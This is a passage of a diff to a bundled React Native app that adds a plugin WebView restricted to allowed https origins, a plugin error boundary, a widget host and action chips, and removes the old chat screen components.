+    for (const u of urls) {
+      try {
+        hosts.add(new URL(u).hostname);
+      } catch {
+      }
+    }
+    return hosts;
+  }, []);
+  const isAllowedPluginUrl = (0, import_react3.useCallback)((rawUrl) => {
+    if (!rawUrl) return false;
+    let parsed;
+    try {
+      parsed = new URL(rawUrl);
+    } catch {
+      return false;
+    }
+    if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
+    if (parsed.protocol === "http:") return false;
+    return computeAllowedHosts().has(parsed.hostname);
+  }, [computeAllowedHosts]);
+  const originWhitelist = (0, import_react3.useMemo)(
+    () => Array.from(computeAllowedHosts()).map((h) => `https://${h}`),
+    [computeAllowedHosts]
+  );
+  if (error) {
+    return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.center, children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.errorText, children: error }) });
+  }
+  return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.container, children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
+    import_react_native_webview.WebView,
+    {
+      ref: webViewRef,
+      source: { uri: url },
+      style: styles2.webview,
+      javaScriptEnabled: true,
+      domStorageEnabled: true,
+      allowsInlineMediaPlayback: true,
+      mediaPlaybackRequiresUserAction: false,
+      mixedContentMode: "never",
+      originWhitelist,
+      allowsBackForwardNavigationGestures: false,
+      setSupportMultipleWindows: false,
+      javaScriptCanOpenWindowsAutomatically: false,
+      onShouldStartLoadWithRequest: (req) => {
+        if (!isAllowedPluginUrl(req.url)) {
+          console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
+          return false;
+        }
+        return true;
+      },
+      injectedJavaScriptBeforeContentLoaded: bridgeJS,
+      onMessage: handleMessage,
+      onLoad: () => {
+        setTimeout(sendInit, 100);
+        setTimeout(sendInit, 500);
+        setTimeout(sendInit, 1200);
+      },
+      onError: (syntheticEvent) => {
+        const { nativeEvent } = syntheticEvent;
+        console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
+        setError(`WebView error: ${nativeEvent.description}`);
+      },
+      onHttpError: (syntheticEvent) => {
+        const { nativeEvent } = syntheticEvent;
+        console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
+        if (nativeEvent.statusCode >= 400) {
+          setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
+        }
+      },
+      startInLoadingState: true,
+      renderLoading: () => /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_react_native2.View, { style: styles2.webviewLoading, children: [
+        /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.ActivityIndicator, { size: "small", color: import_core3.ada.orange }),
+        /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.loadingText, children: "Loading plugin..." })
+      ] }),
+      ...import_react_native2.Platform.OS === "ios" ? { bounces: false } : {}
+    }
+  ) });
 }
-var styles4 = import_react_native4.StyleSheet.create({
-  row: {
-    flexDirection: "row",
-    alignItems: "flex-end",
-    marginBottom: 12,
-    paddingHorizontal: 12,
-    gap: 8
-  },
-  rowUser: {
-    justifyContent: "flex-end"
+var styles2 = import_react_native2.StyleSheet.create({
+  container: {
+    flex: 1,
+    backgroundColor: import_core3.ada.paper
   },
-  avatarOrb: {
-    width: 28,
-    height: 28,
+  center: {
+    flex: 1,
     justifyContent: "center",
-    alignItems: "center"
-  },
-  avatarSpacer: {
-    width: 28,
-    height: 28
-  },
-  bubble: {
-    maxWidth: "78%",
-    backgroundColor: import_core4.ada.botBubble,
-    borderWidth: 1,
-    borderColor: import_core4.ada.botBubbleBorder,
-    borderRadius: import_core4.borderRadius.xl,
-    paddingHorizontal: 16,
-    paddingVertical: 12
-  },
-  bubbleUser: {
-    backgroundColor: import_core4.ada.userBubble,
-    borderColor: "transparent"
-  },
-  bubbleSystem: {
-    backgroundColor: import_core4.ada.orangeSoft,
-    borderColor: import_core4.ada.orange,
-    maxWidth: "90%"
-  },
-  bubbleNotification: {
-    backgroundColor: import_core4.ada.orangeSoft,
-    borderColor: "rgba(255, 122, 40, 0.35)",
-    borderRadius: import_core4.borderRadius.lg,
-    maxWidth: "90%"
-  },
-  notificationLeftStripe: {
-    width: 3,
-    alignSelf: "stretch",
-    backgroundColor: import_core4.ada.orange,
-    borderRadius: 2,
-    marginRight: 4
-  },
-  notificationHeader: {
-    flexDirection: "row",
     alignItems: "center",
-    gap: 6,
-    marginBottom: 6
-  },
-  notificationHeaderIcon: {
-    fontSize: 12
-  },
-  notificationHeaderText: {
-    color: import_core4.ada.orangeDeep,
-    fontSize: 11,
-    fontWeight: "700",
-    letterSpacing: 0.6,
-    textTransform: "uppercase",
-    fontFamily: fontFam3
-  },
-  userText: {
-    color: import_core4.ada.userBubbleText,
-    fontSize: import_core4.fontSize.md,
-    lineHeight: 22,
-    fontFamily: fontFam3
+    backgroundColor: import_core3.ada.paper,
+    paddingHorizontal: 32
   },
-  timeText: {
-    fontSize: 11,
-    color: import_core4.ada.inkMuted,
-    alignSelf: "flex-end",
-    marginTop: 4,
-    fontFamily: fontFam3
+  errorText: {
+    color: "#C15545",
+    fontSize: 16,
+    textAlign: "center"
   },
-  timeTextUser: {
-    color: "rgba(250,246,238,0.55)"
+  webview: {
+    flex: 1,
+    backgroundColor: import_core3.ada.paper
   },
-  attachments: {
-    flexDirection: "row",
-    flexWrap: "wrap",
-    gap: 6,
-    marginBottom: 8
+  webviewLoading: {
+    position: "absolute",
+    top: 0,
+    left: 0,
+    right: 0,
+    bottom: 0,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: import_core3.ada.paper,
+    gap: 12
   },
-  attachmentImage: {
-    width: 120,
-    height: 90,
-    borderRadius: 8
-  },
-  attachmentFile: {
-    backgroundColor: "rgba(255,255,255,0.15)",
-    borderRadius: 8,
-    paddingHorizontal: 10,
-    paddingVertical: 6
-  },
-  attachmentFileName: {
-    color: "rgba(255,255,255,0.8)",
-    fontSize: 11,
-    maxWidth: 100
-  },
-  copiedBadge: {
-    position: "absolute",
-    top: 6,
-    right: 6,
-    backgroundColor: "#5A8A5C",
-    paddingHorizontal: 8,
-    paddingVertical: 2,
-    borderRadius: import_core4.borderRadius.sm
-  },
-  copiedText: {
-    color: "#fff",
-    fontSize: import_core4.fontSize.xs,
-    fontWeight: "600"
-  },
-  toolCalls: {
-    marginTop: 8,
-    borderTopWidth: 1,
-    borderTopColor: import_core4.ada.border,
-    paddingTop: 6
-  },
-  toolToggle: {
-    flexDirection: "row",
-    alignItems: "center",
-    gap: 6
-  },
-  toolLabel: {
-    color: import_core4.ada.inkSoft,
-    fontSize: import_core4.fontSize.xs,
-    fontWeight: "500"
-  },
-  toolChevron: {
-    color: import_core4.ada.inkMuted,
-    fontSize: 8
-  },
-  toolItem: {
-    marginTop: 4,
-    paddingLeft: 8
-  },
-  toolName: {
-    color: import_core4.ada.inkSoft,
-    fontSize: import_core4.fontSize.xs,
-    fontFamily: "monospace"
-  },
-  toolSkill: {
-    color: import_core4.ada.orangeDeep,
-    fontSize: import_core4.fontSize.xs
-  }
-});
-var markdownStyles = import_react_native4.StyleSheet.create({
-  body: {
-    color: import_core4.ada.botBubbleText,
-    fontSize: import_core4.fontSize.md,
-    lineHeight: 22,
-    fontFamily: fontFam3
-  },
-  paragraph: {
-    marginTop: 0,
-    marginBottom: 4
-  },
-  strong: {
-    fontWeight: "700",
-    color: import_core4.ada.botBubbleText
-  },
-  em: {
-    fontStyle: "italic"
-  },
-  code_inline: {
-    backgroundColor: import_core4.ada.paperDeep,
-    color: import_core4.ada.orangeDeep,
-    paddingHorizontal: 5,
-    paddingVertical: 1,
-    borderRadius: 4,
-    fontFamily: "monospace",
-    fontSize: import_core4.fontSize.sm
-  },
-  fence: {
-    backgroundColor: import_core4.ada.paperDeep,
-    padding: 10,
-    borderRadius: 10
-  },
-  fenceText: {
-    fontFamily: "monospace",
-    fontSize: import_core4.fontSize.sm,
-    color: import_core4.ada.ink
-  },
-  link: {
-    color: import_core4.ada.orangeDeep
-  },
-  list_item: {
-    color: import_core4.ada.botBubbleText
-  },
-  bullet_list: {
-    marginVertical: 4
+  loadingText: {
+    color: import_core3.ada.inkSoft,
+    fontSize: 14
   }
 });
 
-// src/chat/TypingIndicator.tsx
-var import_react_native5 = require("react-native");
-var import_plugin_runtime3 = require("@ateam-ai-mobile/plugin-runtime");
-var import_jsx_runtime5 = require("react/jsx-runtime");
-function TypingIndicator() {
-  return /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_react_native5.View, { style: styles5.row, children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_plugin_runtime3.AdaOrb, { size: 32, state: "thinking" }) });
-}
-var styles5 = import_react_native5.StyleSheet.create({
-  row: {
-    flexDirection: "row",
-    alignItems: "center",
-    marginBottom: 12,
-    paddingHorizontal: 16,
-    paddingVertical: 4
+// src/plugin/Plugin.tsx
+var import_jsx_runtime3 = require("react/jsx-runtime");
+var PluginErrorBoundary = class extends import_react4.default.Component {
+  constructor() {
+    super(...arguments);
+    this.state = { hasError: false, error: null };
   }
-});
-
-// src/chat/ChatInput.tsx
-var import_react3 = require("react");
-var import_react_native6 = require("react-native");
-var import_react_native_svg = __toESM(require("react-native-svg"));
-var import_core5 = require("@ateam-ai-mobile/core");
-var import_plugin_runtime4 = require("@ateam-ai-mobile/plugin-runtime");
-var import_jsx_runtime6 = require("react/jsx-runtime");
-function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
-  const [text, setText] = (0, import_react3.useState)("");
-  const [height, setHeight] = (0, import_react3.useState)(40);
-  const inputRef = (0, import_react3.useRef)(null);
-  (0, import_react3.useEffect)(() => {
-    if (prefill) {
-      setText(prefill);
-      inputRef.current?.focus();
+  static getDerivedStateFromError(error) {
+    return { hasError: true, error };
+  }
+  componentDidCatch(error, info) {
+    console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
+  }
+  render() {
+    if (this.state.hasError) {
+      return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.error, children: [
+        /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorTitle, children: "Plugin Error" }),
+        /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
+        /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
+          import_react_native3.Pressable,
+          {
+            style: styles3.retryBtn,
+            onPress: () => this.setState({ hasError: false, error: null }),
+            children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.retryText, children: "Retry" })
+          }
+        )
+      ] });
     }
-  }, [prefill]);
-  const handleSend = (0, import_react3.useCallback)(() => {
-    const trimmed = text.trim();
-    if (!trimmed) return;
-    (0, import_plugin_runtime4.getHaptics)()?.impact("light");
-    onSend(trimmed);
-    setText("");
-    setHeight(40);
-  }, [text, loading, onSend]);
-  const canSend = text.trim().length > 0;
-  return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native6.View, { style: styles6.dock, children: /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(import_react_native6.View, { style: styles6.inputRow, children: [
-    onCallStart && /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native6.Pressable, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.default, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: import_core5.colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
-    /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(
-      import_react_native6.TextInput,
-      {
-        ref: inputRef,
-        style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
-        value: text,
-        onChangeText: setText,
-        onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
-        placeholder: placeholder || "Message A-Team...",
-        placeholderTextColor: import_core5.colors.light.textMuted,
-        multiline: true,
-        returnKeyType: "default",
-        blurOnSubmit: false,
-        onSubmitEditing: () => {
-          if (import_react_native6.Platform.OS === "web") handleSend();
-        }
-      }
-    ),
-    /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(
-      import_react_native6.Pressable,
-      {
-        style: [styles6.sendBtn, canSend && styles6.sendBtnActive],
-        onPress: handleSend,
-        disabled: !canSend,
-        children: /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(import_react_native_svg.default, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : import_core5.colors.light.textMuted, strokeWidth: 2, children: [
-          /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
-          /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
-        ] })
-      }
-    )
-  ] }) });
+    return this.props.children;
+  }
+};
+function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
+  const { plugin, loading, error, bundleMissing } = (0, import_plugin_runtime2.usePlugin)(id, manifest);
+  const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
+  const bridge = (0, import_plugin_runtime2.useNativeBridge)(id, connectorId, commandBufferRef);
+  const declaredCaps = manifest?.native;
+  const native = (0, import_react4.useMemo)(() => (0, import_plugin_runtime2.gatePluginNative)((0, import_plugin_runtime2.getPluginNative)(), declaredCaps), [declaredCaps]);
+  const theme = (0, import_plugin_runtime2.usePluginTheme)();
+  const user = (0, import_core4.getUser)();
+  const context = (0, import_react4.useMemo)(() => ({
+    tenant: (0, import_core4.getTenant)(),
+    pluginId: id,
+    connectorId,
+    user: user ? { id: user.actorId || "", name: user.name || "", roles: user.roles || [] } : void 0
+  }), [id, connectorId, user?.actorId, user?.name, user?.roles]);
+  const iframeUrl = manifest?.render?.iframeUrl;
+  if (bundleMissing && iframeUrl) {
+    return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
+  }
+  if (loading) {
+    return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.center, children: [
+      /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.ActivityIndicator, { size: "small", color: import_core4.colors.dark.accent }),
+      /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.loadingText, children: "Loading plugin..." })
+    ] });
+  }
+  if (error || !plugin) {
+    return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.center, children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorMessage, children: error || "Plugin not found" }) });
+  }
+  const { Component } = plugin;
+  return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(Component, { bridge, native, theme, context, props: engineProps }) });
 }
-var styles6 = import_react_native6.StyleSheet.create({
-  dock: {
-    paddingHorizontal: 12,
-    paddingVertical: 8,
-    backgroundColor: import_core5.colors.light.bgPrimary,
-    borderTopWidth: 0.5,
-    borderTopColor: import_core5.colors.light.border
+var styles3 = import_react_native3.StyleSheet.create({
+  center: {
+    flex: 1,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: import_core4.colors.dark.bgPrimary,
+    paddingHorizontal: 32,
+    gap: 12
   },
-  inputRow: {
-    flexDirection: "row",
-    alignItems: "flex-end",
-    backgroundColor: import_core5.colors.light.bgInput,
-    borderRadius: import_core5.borderRadius.xl,
-    borderWidth: 1,
-    borderColor: import_core5.colors.light.border,
-    paddingHorizontal: 4,
-    paddingVertical: 4,
-    gap: 4
+  loadingText: {
+    color: import_core4.colors.dark.textSecondary,
+    fontSize: 14
   },
-  callBtn: {
-    width: 36,
-    height: 36,
-    borderRadius: 18,
+  error: {
+    flex: 1,
     justifyContent: "center",
-    alignItems: "center"
+    alignItems: "center",
+    backgroundColor: import_core4.colors.dark.bgPrimary,
+    paddingHorizontal: 32,
+    gap: 8
   },
-  input: {
-    flex: 1,
+  errorTitle: {
+    color: import_core4.colors.dark.red,
     fontSize: 16,
-    color: import_core5.colors.light.textPrimary,
-    paddingHorizontal: 8,
-    paddingVertical: 8,
-    maxHeight: 120
+    fontWeight: "600"
   },
-  sendBtn: {
-    width: 36,
-    height: 36,
-    borderRadius: 18,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: import_core5.colors.light.bgTertiary
+  errorMessage: {
+    color: import_core4.colors.dark.textSecondary,
+    fontSize: 14,
+    textAlign: "center"
   },
-  sendBtnActive: {
-    backgroundColor: import_core5.colors.light.accent
+  retryBtn: {
+    marginTop: 12,
+    paddingHorizontal: 20,
+    paddingVertical: 10,
+    backgroundColor: import_core4.colors.dark.accentSoft,
+    borderRadius: 8
+  },
+  retryText: {
+    color: import_core4.colors.dark.accent,
+    fontSize: 14,
+    fontWeight: "600"
   }
 });
 
-// src/Lightbox.tsx
-var import_react_native7 = require("react-native");
-var import_core6 = require("@ateam-ai-mobile/core");
-var import_jsx_runtime7 = require("react/jsx-runtime");
-function Lightbox() {
-  const uri = useLightboxStore((s) => s.uri);
-  const hide = useLightboxStore((s) => s.hide);
-  if (!uri) return null;
-  return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native7.Pressable, { style: styles7.backdrop, onPress: hide, children: [
-    /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(
-      import_react_native7.Image,
+// src/plugin/PluginSurface.tsx
+var import_jsx_runtime4 = require("react/jsx-runtime");
+function PluginSurface({ pluginId, surface, dismiss, props }) {
+  const [manifest, setManifest] = (0, import_react5.useState)(null);
+  const [error, setError] = (0, import_react5.useState)(null);
+  (0, import_react5.useEffect)(() => {
+    let cancelled = false;
+    (0, import_plugin_runtime3.getPlugin)(pluginId).then((m) => {
+      if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
+    }).catch((e) => {
+      if (!cancelled) setError(e?.message || "Failed to load");
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, [pluginId]);
+  const body = manifest ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.ActivityIndicator, { color: import_core5.ada.orange }) });
+  if (surface.type === "fullscreen") {
+    return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
+      import_plugin_runtime3.SurfaceFullscreen,
       {
-        source: {
-          uri,
-          ...uri.startsWith("http") ? {
-            headers: { Authorization: `Bearer ${(0, import_core6.getConfig)().tokenProvider.getToken()}` }
-          } : {}
-        },
-        style: styles7.image,
-        resizeMode: "contain"
+        visible: true,
+        onClose: dismiss,
+        status: surface.title,
+        showWordmark: true,
+        closeIcon: "x",
+        closeLabel: "Close",
+        children: body
       }
-    ),
-    /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.View, { style: styles7.closeHint, children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.Text, { style: styles7.closeHintText, children: "Tap to close" }) })
-  ] }) });
-}
-var styles7 = import_react_native7.StyleSheet.create({
-  backdrop: {
-    flex: 1,
-    backgroundColor: "rgba(0,0,0,0.92)",
-    justifyContent: "center"
-  },
-  image: {
-    width: "100%",
-    height: "85%"
-  },
-  closeHint: {
-    position: "absolute",
-    bottom: 40,
-    alignSelf: "center"
-  },
-  closeHintText: {
-    color: "rgba(255,255,255,0.6)",
-    fontSize: 13
+    );
   }
-});
+  return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
+    import_plugin_runtime3.SurfaceDrawer,
+    {
+      visible: true,
+      onClose: dismiss,
+      title: surface.title || pluginId,
+      subtitle: surface.subtitle,
+      privacy: !!surface.privacy,
+      children: body
+    }
+  );
+}
 
-// src/AdasChatScreen.tsx
-var import_jsx_runtime8 = require("react/jsx-runtime");
-function isSameDay2(a, b) {
-  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
+// src/plugin/WidgetHost.tsx
+var import_jsx_runtime5 = require("react/jsx-runtime");
+var useWidgetHostStore = (0, import_zustand.create)((set) => ({
+  pluginId: null,
+  props: void 0,
+  open: (pluginId, props) => set({ pluginId, props }),
+  close: () => set({ pluginId: null, props: void 0 })
+}));
+function openWidget(pluginId, props) {
+  const surfaces = import_plugin_runtime4.useSurfaceStore.getState();
+  if (surfaces.manifests[pluginId]) {
+    surfaces.show(pluginId, props);
+    return;
+  }
+  useWidgetHostStore.getState().open(pluginId, props);
 }
-function AdasChatScreen({
-  onCallStart,
-  placeholder,
-  footerAccessory,
-  withLightbox = true
-}) {
-  const messages = (0, import_core7.useChatStore)((s) => s.messages);
-  const loading = (0, import_core7.useChatStore)((s) => s.loading);
-  const conversationLoaded = (0, import_core7.useChatStore)((s) => s.conversationLoaded);
-  const loadConversation = (0, import_core7.useChatStore)((s) => s.loadConversation);
-  const sendMessage = (0, import_core7.useChatStore)((s) => s.sendMessage);
-  const listRef = (0, import_react4.useRef)(null);
-  const [refreshing, setRefreshing] = (0, import_react4.useState)(false);
-  const [prefill, setPrefill] = (0, import_react4.useState)("");
-  (0, import_react4.useEffect)(() => {
-    if (!conversationLoaded) loadConversation();
-  }, [conversationLoaded, loadConversation]);
-  (0, import_react4.useEffect)(() => {
-    const unsub = import_core7.pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
-      if (text) setPrefill(text);
+function WidgetHost() {
+  const pluginId = useWidgetHostStore((s) => s.pluginId);
+  const props = useWidgetHostStore((s) => s.props);
+  const close = useWidgetHostStore((s) => s.close);
+  (0, import_react6.useEffect)(() => {
+    return import_core6.pluginCommandEmitter.on("focus-plugin", (data) => {
+      if (data?.pluginId) openWidget(String(data.pluginId), data.props);
     });
-    return unsub;
   }, []);
-  const useInverted = import_react_native8.Platform.OS !== "web";
-  const listData = (0, import_react4.useMemo)(
-    () => useInverted ? [...messages].reverse() : messages,
-    [messages, useInverted]
+  if (!pluginId) return null;
+  return /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
+    PluginSurface,
+    {
+      pluginId,
+      surface: { type: "fullscreen" },
+      dismiss: close,
+      props
+    },
+    pluginId
   );
-  const scrollToLatest = (0, import_react4.useCallback)((animated) => {
-    if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
-    else listRef.current?.scrollToEnd({ animated });
-  }, [useInverted]);
-  const handleSend = (0, import_react4.useCallback)((text) => {
-    setPrefill("");
-    sendMessage(text);
-    scrollToLatest(true);
-  }, [sendMessage, scrollToLatest]);
-  const handleRefresh = (0, import_react4.useCallback)(async () => {
-    setRefreshing(true);
-    try {
-      await loadConversation();
-    } catch {
+}
+
+// src/chat/UIActionsRow.tsx
+var import_jsx_runtime6 = require("react/jsx-runtime");
+var fontFam = import_react_native5.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
+var ICON_MAP = {
+  timer: "\u23F1",
+  memory: "\u{1F9E0}",
+  calendar: "\u{1F4C5}",
+  home: "\u{1F3E0}",
+  bell: "\u{1F514}",
+  star: "\u2B50",
+  bolt: "\u26A1"
+};
+function UIActionsRow({ actions }) {
+  if (!Array.isArray(actions) || actions.length === 0) return null;
+  const handlePress = (a) => {
+    (0, import_plugin_runtime5.getHaptics)()?.selection();
+    const id = a.pluginId || a.target;
+    if (!id) return;
+    const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
+    const surface = import_plugin_runtime5.useSurfaceStore.getState().manifests[id];
+    if (surface) {
+      import_plugin_runtime5.useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
+      return;
     }
-    setRefreshing(false);
-  }, [loadConversation]);
-  const renderItem = (0, import_react4.useCallback)(({ item, index }) => {
-    const older = useInverted ? listData[index + 1] : listData[index - 1];
-    const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
-    return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native8.View, { children: [
-      showDaySep && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(DaySeparator, { date: item.timestamp }),
-      /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MessageBubble, { message: item })
-    ] });
-  }, [listData, useInverted]);
-  const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(TypingIndicator, {}) : null;
-  return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(
-    import_react_native8.KeyboardAvoidingView,
-    {
-      style: styles8.root,
-      behavior: import_react_native8.Platform.OS === "ios" ? "padding" : void 0,
-      children: [
-        /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
-          import_react_native8.FlatList,
-          {
-            ref: listRef,
-            style: styles8.list,
-            data: listData,
-            inverted: useInverted,
-            keyExtractor: (m) => m.id,
-            renderItem,
-            ListHeaderComponent: useInverted ? typingIndicator : null,
-            ListFooterComponent: useInverted ? null : typingIndicator,
-            onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
-            refreshControl: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native8.RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: import_core7.ada.orange }),
-            keyboardShouldPersistTaps: "handled",
-            contentContainerStyle: styles8.listContent
-          }
-        ),
-        footerAccessory,
-        /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
-          ChatInput,
-          {
-            onSend: handleSend,
-            onCallStart,
-            loading,
-            prefill,
-            placeholder
-          }
-        ),
-        withLightbox && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(Lightbox, {})
-      ]
+    const params = {};
+    if (focus) params.focus = String(focus);
+    if (a.intent === "suggested_action" && a.payload?.tool) {
+      params.tool = String(a.payload.tool);
+      if (a.payload?.args) {
+        try {
+          params.args = JSON.stringify(a.payload.args);
+        } catch {
+        }
+      }
     }
-  );
+    if (a.intent === "quick_toggle" && a.payload?.verb) {
+      params.verb = String(a.payload.verb);
+    }
+    const navigate = getUIActionNavigator();
+    if (navigate) {
+      navigate({ pluginId: id, params });
+      return;
+    }
+    openWidget(id, Object.keys(params).length ? params : void 0);
+  };
+  return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.View, { style: styles4.row, children: actions.map((a, i) => {
+    const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
+    return /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(
+      import_react_native5.Pressable,
+      {
+        accessibilityRole: "button",
+        accessibilityLabel: a.description || a.label,
+        onPress: () => handlePress(a),
+        style: ({ pressed }) => [styles4.chip, pressed && styles4.chipPressed],
+        children: [
+          icon ? /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.Text, { style: styles4.icon, children: icon }) : null,
+          /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.Text, { style: styles4.label, numberOfLines: 1, children: a.label })
+        ]
+      },
+      `${a.target || "a"}-${i}`
+    );
+  }) });
 }
-var styles8 = import_react_native8.StyleSheet.create({
-  root: {
-    flex: 1,
-    backgroundColor: import_core7.ada.paper
+var styles4 = import_react_native5.StyleSheet.create({
+  row: {
+    flexDirection: "row",
+    flexWrap: "wrap",
+    gap: 6,
+    marginTop: 10
   },
-  list: {
-    flex: 1
+  chip: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6,
+    paddingHorizontal: 12,
+    paddingVertical: 6,
+    backgroundColor: import_core7.ada.orangeSoft,
+    borderColor: import_core7.ada.orange,
+    borderWidth: 1,
+    borderRadius: 14
   },
-  listContent: {
-    paddingVertical: 12
+  chipPressed: {
+    backgroundColor: import_core7.ada.orange
+  },
+  icon: {
+    fontSize: 12,
+    lineHeight: 14
+  },
+  label: {
+    color: import_core7.ada.orangeDeep,
+    fontSize: import_core7.fontSize.xs,
+    fontWeight: "600",
+    fontFamily: fontFam
   }
 });
 
-// src/plugin/Plugin.tsx
-var import_react7 = __toESM(require("react"));
-var import_react_native10 = require("react-native");
-var import_core10 = require("@ateam-ai-mobile/core");
-var import_plugin_runtime6 = require("@ateam-ai-mobile/plugin-runtime");
+// src/chat/TableCardBlock.tsx
+var import_react_native6 = require("react-native");
+var import_core8 = require("@ateam-ai-mobile/core");
+var import_jsx_runtime7 = require("react/jsx-runtime");
+var fontFam2 = import_react_native6.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
+function TableCardBlock({ columns, rows }) {
+  if (!columns?.length || !rows?.length) return null;
+  const [titleCol, ...detailCols] = columns;
